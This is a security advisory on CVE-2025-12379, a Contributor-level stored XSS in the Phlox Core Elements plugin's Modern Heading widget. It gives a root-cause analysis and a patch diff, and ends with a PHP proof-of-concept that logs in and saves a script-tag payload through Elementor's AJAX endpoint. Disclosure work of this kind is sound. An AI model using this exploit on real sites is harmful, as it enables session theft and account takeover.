Atomic Edge analysis of CVE-2025-12379:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Phlox Core Elements plugin. The vulnerability exists in the Modern Heading widget for Elementor. Attackers with Contributor-level or higher WordPress access can inject arbitrary JavaScript that executes when other users view the compromised page. The CVSS score of 6.4 reflects the medium severity of this authenticated attack.
The root cause is insufficient input validation for the ‘title_tag’ and ‘title_tag_secondary’ parameters in the Modern Heading widget. The vulnerable code resides in the `auxin-elements/includes/elementor/widgets/heading-modern.php` file. The `render()` method, starting at line 1156, directly uses user-supplied values from the widget settings to construct HTML output without verifying they are safe HTML tags. The widget’s control definitions for these parameters, at lines 139-157 and 289-307, provide a dropdown of allowed tags but do not enforce this list during rendering.
Exploitation requires an authenticated user with at least Contributor privileges to edit a post or page using the Elementor page builder. The attacker adds a Modern Heading widget and sets its ‘HTML Tag’ or ‘Secondary HTML Tag’ parameter to a malicious string containing a JavaScript payload, such as `alert(document.domain)`. When the page is saved and subsequently viewed by any user, the malicious script executes in the victim’s browser context.
The patch introduces server-side validation in the `render()` method. The developer added a class property `$allowed_tags` defining a safe list of HTML elements. Before output, the code at lines 1156 and 1158 checks if the user-provided `title_tag` and `title_tag_secondary` values exist in this allowed list. If a value is not in the list, it defaults to ‘h2’ or ‘h3’. This validation prevents attackers from injecting arbitrary tag names, including script tags, into the final page HTML.
Successful exploitation leads to stored XSS. An attacker can steal session cookies, perform actions as the victim, deface the site, or redirect users to malicious domains. The impact is limited to the security context of the affected page, but it can facilitate account takeover, especially if an administrator views the compromised content.
--- a/auxin-elements/auxin-elements.php
+++ b/auxin-elements/auxin-elements.php
@@ -12,7 +12,7 @@
* Plugin Name: Phlox Core Elements
* Plugin URI: https://wordpress.org/plugins/auxin-elements/
* Description: Exclusive and comprehensive plugin that extends the functionality of Phlox theme by adding new Elements, widgets and options.
- * Version: 2.17.13
+ * Version: 2.17.14
* Author: By Averta
* Author URI: http://averta.net
* Text Domain: auxin-elements
--- a/auxin-elements/includes/classes/class-auxels-search-post-type.php
+++ b/auxin-elements/includes/classes/class-auxels-search-post-type.php
@@ -81,7 +81,8 @@
's' => $this->s,
'post_type' => $this->post_type,
'no_found_rows' => 1,
- 'posts_per_page' => $this->per_page
+ 'posts_per_page' => $this->per_page,
+ 'post_status' => 'publish'
);
// Get category slug for each post type
--- a/auxin-elements/includes/define.php
+++ b/auxin-elements/includes/define.php
@@ -12,7 +12,7 @@
}
-define( 'AUXELS_VERSION' , '2.17.13' );
+define( 'AUXELS_VERSION' , '2.17.14' );
define( 'AUXELS_SLUG' , 'auxin-elements' );
--- a/auxin-elements/includes/elementor/widgets/heading-modern.php
+++ b/auxin-elements/includes/elementor/widgets/heading-modern.php
@@ -25,6 +25,18 @@
*/
class ModernHeading extends Widget_Base {
+ public $allowed_tags = [
+ 'h1' => 'H1',
+ 'h2' => 'H2',
+ 'h3' => 'H3',
+ 'h4' => 'H4',
+ 'h5' => 'H5',
+ 'h6' => 'H6',
+ 'div' => 'div',
+ 'span' => 'span',
+ 'p' => 'p'
+ ];
+
/**
* Get widget name.
*
@@ -139,17 +151,7 @@
array(
'label' => __( 'HTML Tag', 'auxin-elements' ),
'type' => Controls_Manager::SELECT,
- 'options' => array(
- 'h1' => 'H1',
- 'h2' => 'H2',
- 'h3' => 'H3',
- 'h4' => 'H4',
- 'h5' => 'H5',
- 'h6' => 'H6',
- 'div' => 'div',
- 'span' => 'span',
- 'p' => 'p'
- ),
+ 'options' => $this->allowed_tags,
'default' => 'h2',
)
);
@@ -289,17 +291,7 @@
array(
'label' => __( 'HTML Tag', 'auxin-elements' ),
'type' => Controls_Manager::SELECT,
- 'options' => array(
- 'h1' => 'H1',
- 'h2' => 'H2',
- 'h3' => 'H3',
- 'h4' => 'H4',
- 'h5' => 'H5',
- 'h6' => 'H6',
- 'div' => 'div',
- 'span' => 'span',
- 'p' => 'p'
- ),
+ 'options' => $this->allowed_tags,
'default' => 'h3'
)
);
@@ -1164,6 +1156,10 @@
$settings = $this->get_settings_for_display();
+ $settings['title_tag'] = in_array( $settings['title_tag'], $this->allowed_tags ) ? $settings['title_tag'] : 'h2';
+
+ $settings['title_tag_secondary'] = in_array( $settings['title_tag_secondary'], $this->allowed_tags ) ? $settings['title_tag_secondary'] : 'h3';
+
$divider_markup = auxin_is_true( $settings['divider'] ) ? '<div class="aux-modern-heading-divider"></div>' : '';
echo '<section class="aux-widget-modern-heading">
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12379 - Shortcodes and extra features for Phlox theme <= 2.17.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via Modern Heading Widget
<?php
$target_url = 'http://vulnerable-site.local/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
$post_id = 1; // ID of the post/page to edit
// Payload to inject into the title_tag parameter
$malicious_tag = '<script>alert("Atomic Edge XSS: "+document.domain)</script>';
// Initialize cURL session for login
$ch = curl_init();
// Step 1: Get login nonce and cookies
$login_page_url = 'http://vulnerable-site.local/wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Step 2: Extract the login nonce (wp-login.php form)
preg_match('/name="log"[^>]*>/', $response, $matches); // Simple pattern, adjust if needed
// Step 3: Perform WordPress login
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://vulnerable-site.local/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_page_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 4: Verify login success by checking for dashboard in response
if (strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Step 5: Exploit the Elementor editor AJAX endpoint to save a widget with malicious tag.
// This simulates saving a post via Elementor's AJAX handler with a malicious Modern Heading widget.
$exploit_data = [
'action' => 'elementor_ajax',
'actions' => json_encode([
'save_builder' => [
'action' => 'save_builder',
'data' => [
'editor_post_id' => $post_id,
'status' => 'publish',
'elements' => [
[
'id' => 'some_id',
'elType' => 'widget',
'settings' => [
'title_tag' => $malicious_tag, // Injected payload
'title' => 'Test Heading'
],
'widgetType' => 'aux-modern-heading'
]
]
]
]
])
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$response = curl_exec($ch);
echo 'Exploit attempt completed. Response: ' . $response . "n";
// Step 6: Cleanup
curl_close($ch);
unlink('cookies.txt');
?>